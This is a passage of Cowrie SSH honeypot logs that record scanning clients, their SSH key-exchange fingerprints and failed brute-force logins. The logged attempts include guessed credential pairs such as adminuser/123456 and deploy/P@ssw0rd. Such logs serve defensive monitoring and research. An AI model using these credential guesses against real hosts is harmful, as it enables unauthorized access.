fie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:54.027117Z","src_ip":"159.203.92.129","session":"65d4c2d97261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:54.040712Z","src_ip":"159.203.92.129","session":"65d4c2d97261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:22:55.050953Z","src_ip":"159.203.92.129","session":"65d4c2d97261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":47756,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d82c7262635","protocol":"ssh","message":"New connection: 152.32.163.183:47756 (10.17.0.5:22) [session: 8d82c7262635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:23:06.411694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:23:06.416898Z","src_ip":"152.32.163.183","session":"8d82c7262635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:23:13.216507Z","src_ip":"152.32.163.183","session":"8d82c7262635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:23:13.225489Z","src_ip":"152.32.163.183","session":"8d82c7262635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":60532,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce99b48b83a5","protocol":"ssh","message":"New connection: 45.232.73.84:60532 (159.203.135.109:22) [session: ce99b48b83a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:23:25.792681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:23:25.799496Z","src_ip":"45.232.73.84","session":"ce99b48b83a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:23:25.931360Z","src_ip":"45.232.73.84","session":"ce99b48b83a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"abc123","message":"login attempt [develop/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:23:26.468458Z","src_ip":"45.232.73.84","session":"ce99b48b83a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:23:27.599392Z","src_ip":"45.232.73.84","session":"ce99b48b83a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36284,"dst_ip":"159.203.135.109","dst_port":22,"session":"afa33e0dca5f","protocol":"ssh","message":"New connection: 159.203.92.129:36284 (159.203.135.109:22) [session: afa33e0dca5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:23:36.880476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:23:36.886087Z","src_ip":"159.203.92.129","session":"afa33e0dca5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:23:36.890648Z","src_ip":"159.203.92.129","session":"afa33e0dca5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:23:36.903227Z","src_ip":"159.203.92.129","session":"afa33e0dca5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:23:37.910491Z","src_ip":"159.203.92.129","session":"afa33e0dca5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43184,"dst_ip":"159.203.135.109","dst_port":22,"session":"f78470d9e6fa","protocol":"ssh","message":"New connection: 159.203.92.129:43184 (159.203.135.109:22) [session: f78470d9e6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:22.780397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:22.785536Z","src_ip":"159.203.92.129","session":"f78470d9e6fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:22.790465Z","src_ip":"159.203.92.129","session":"f78470d9e6fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"useradmin","message":"login attempt [adminuser/useradmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:22.802978Z","src_ip":"159.203.92.129","session":"f78470d9e6fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:23.810638Z","src_ip":"159.203.92.129","session":"f78470d9e6fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":49286,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2a3344c3078","protocol":"ssh","message":"New connection: 45.232.73.84:49286 (159.203.135.109:22) [session: d2a3344c3078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:25.270690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:25.276748Z","src_ip":"45.232.73.84","session":"d2a3344c3078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:25.404987Z","src_ip":"45.232.73.84","session":"d2a3344c3078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"P@ssw0rd","message":"login attempt [deploy/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:25.905775Z","src_ip":"45.232.73.84","session":"d2a3344c3078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:27.036226Z","src_ip":"45.232.73.84","session":"d2a3344c3078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":10298,"dst_ip":"10.17.0.5","dst_port":22,"session":"30dbf967bbff","protocol":"ssh","message":"New connection: 152.32.163.183:10298 (10.17.0.5:22) [session: 30dbf967bbff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:40.136281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:40.141438Z","src_ip":"152.32.163.183","session":"30dbf967bbff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:40.386572Z","src_ip":"152.32.163.183","session":"30dbf967bbff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres@4321","message":"login attempt [postgres/postgres@4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:41.399421Z","src_ip":"152.32.163.183","session":"30dbf967bbff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:24:43.389213Z","src_ip":"152.32.163.183","session":"30dbf967bbff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34756,"dst_ip":"159.203.135.109","dst_port":22,"session":"71a910aa5f67","protocol":"ssh","message":"New connection: 159.203.92.129:34756 (159.203.135.109:22) [session: 71a910aa5f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:09.984679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:10.031737Z","src_ip":"159.203.92.129","session":"71a910aa5f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:10.040773Z","src_ip":"159.203.92.129","session":"71a910aa5f67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminvm","password":"adminvm","message":"login attempt [adminvm/adminvm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:10.118369Z","src_ip":"159.203.92.129","session":"71a910aa5f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:11.136128Z","src_ip":"159.203.92.129","session":"71a910aa5f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":38048,"dst_ip":"159.203.135.109","dst_port":22,"session":"c306520fed98","protocol":"ssh","message":"New connection: 45.232.73.84:38048 (159.203.135.109:22) [session: c306520fed98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:26.766623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:25:26.779803Z","src_ip":"45.232.73.84","session":"c306520fed98","protocol":"ssh"}
